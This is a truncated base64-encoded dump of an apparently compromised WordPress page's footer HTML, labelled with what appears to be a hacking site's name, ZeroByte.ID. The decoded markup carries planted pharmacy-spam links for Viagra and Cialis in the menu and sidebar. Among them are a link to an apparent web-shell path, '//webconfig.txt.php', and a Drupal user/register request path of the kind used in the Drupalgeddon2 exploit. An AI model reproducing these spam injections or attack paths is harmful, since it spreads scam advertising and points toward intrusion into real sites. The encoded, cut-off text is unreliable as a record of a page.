3N0cy13aWRnZXQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfcG9zdHMiPiAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW1zLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIGxhc3QiPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8cD48c21hbGw+Rmlyc3Qgc29jaWFsIG1lZGlhcnMgcG9zdDwvc21hbGw+PC9wPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWFkLW1vcmUiPgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZmwiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPkZlYnJ1YXJ5IDMsIDIwMTg8L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgoKICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvdGV4YXMvIj5TaG9wIGZvciBDaWFsaXMgU3VwZXIgQWN0aXZlIG9ubGluZTwvYT4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+PC9hc2lkZT4JCQkJPC9kaXY+CgoJPC9kaXY+Cgo8L2Rpdj4gCgoJCTxmb290ZXIgaWQ9ImNvbG9waG9uIiByb2xlPSJjb250ZW50aW5mbyI+CgoJCQk8ZGl2IGlkPSJzdXBwbGVtZW50YXJ5IiBjbGFzcz0id2lkZ2V0cyBkZWZhdWx0Q29udGVudFdpZHRoIj4KCgoJCQk8L2Rpdj4KCjxkaXYgaWQ9InNpdGUtZ2VuZXJhdG9yIiBjbGFzcz0iY2xlYXJmaXgiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+CgkJPGRpdiBpZD0iZm9vdGVyLXRleHQiPgoJCQk8cD48c3Ryb25nPsKpIDIwMTUgQ29weXJpZ2h0IGJ5IERpcmVjdG9yeSAuPC9zdHJvbmc+IEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPgoJCTwvZGl2Pgo8bmF2IGNsYXNzPSJmb290ZXItbWVudSI+PHVsIGlkPSJtZW51LWZvb3Rlci1tZW51IiBjbGFzcz0ibWVudSI+PGxpIGlkPSJtZW51LWl0ZW0tODIzNiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS1ob21lIGN1cnJlbnQtbWVudS1pdGVtIHBhZ2VfaXRlbSBwYWdlLWl0ZW0tNyBjdXJyZW50X3BhZ2VfaXRlbSBtZW51LWl0ZW0tODIzNiI+PGEgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tLz9hdXRob3I9MiI+VGhlIHB1cmNoYXNlIG9mIFZpYWdyYSBTb2Z0IHdpdGggQml0Y29pbjwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM1IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzUiPjxhIGhyZWY9Imh0dHA6Ly9zb2NpYWxtZWRpYXJzLmNvbS8/YXV0aG9yPTQiPlNob3AgVmlhZ3JhIFBsdXMgaW4gQmVsaXplIEJlbG1vcGFuPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzgiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzOCI+PGEgaHJlZj0iaHR0cHM6Ly9zb2NpYWxtZWRpYXJzLmNvbS8vd2ViY29uZmlnLnR4dC5waHAiPkNvbWUgYnkgVmlhZ3JhIFByb2Zlc3Npb25hbCAtIGFjY2VwdCBBQ0g8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNyIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM3Ij48YSBocmVmPSJodHRwczovL3NvY2lhbG1lZGlhcnMuY29tLy91c2VyL3JlZ2lzdGVyLz9lbGVtZW50X3BhcmVudHM9YWNjb3VudC9tYWlsLyUyM3ZhbHVlJmFqYXhfZm9ybT0xJl93cmFwcGVyX2Zvcm1hdD1kcnVwYWxfYWpheCI+QnV5IENpYWxpcyBKZWxseSBpbiBCcmF6aWwgQnJhc+1saWE8L2E+PC9saT4KPC91bD48L25hdj4JPC9kaXY+CjwvZGl2PgoJCTwvZm9vdGVyPgoKCTwvZGl2PgoKPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9jb21tZW50LXJlcGx5Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIHdwY2Y3ID0geyJhcGlTZXR0aW5ncyI6eyJyb290IjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1qc29uXC9jb250YWN0LWZvcm0tN1wvdjEiLCJuYW1lc3BhY2UiOiJjb250YWN0LWZvcm0tN1wvdjEifSwicmVjYXB0Y2hhIjp7Im1lc3NhZ2VzIjp7ImVtcHR5IjoiUGxlYXNlIHZlcmlmeSB0aGF0IHlvdSBhcmUgbm90IGEgcm9ib3QuIn19fTsKLyogXV0+ICovCjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9qcy9zY3JpcHRzLmpzP3Zlcj00LjkuMic+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2NvcmUubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS93aWRnZXQubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS90YWJzLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvYWNjb3JkaW9uLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvcG9zaXRpb24ubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9tZW51Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy93cC1hMTF5Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIHVpQXV0b2NvbXBsZXRlTDEwbiA9IHsibm9SZXN1bHRzIjoiTm8gcmVzdWx0cyBmb3VuZC4iLCJvbmVSZXN1bHQiOiIxIHJlc3VsdCBmb3VuZC4gVXNlIHVwIGFuZCBkb3duIGFycm93IGtleXMgdG8gbmF2aWdhdGUuIiwibWFueVJlc3VsdHMiOiIlZCByZXN1bHRzIGZvdW5kLiBVc2UgdXAgYW5kIGRvd24gYXJyb3cga2V5cyB0byBuYXZpZ2F0ZS4iLCJpdGVtU2VsZWN0ZWQiOiJJdGVtIHNlbGVjdGVkLiJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2F1dG9jb21wbGV0ZS5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL21vdXNlLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvc2xpZGVyLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy93cC1lbWJlZC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CgoJCgo8L2JvZHk+CjwvaHRtbD4iO30=
© 2017 -
ZeroByte.ID
.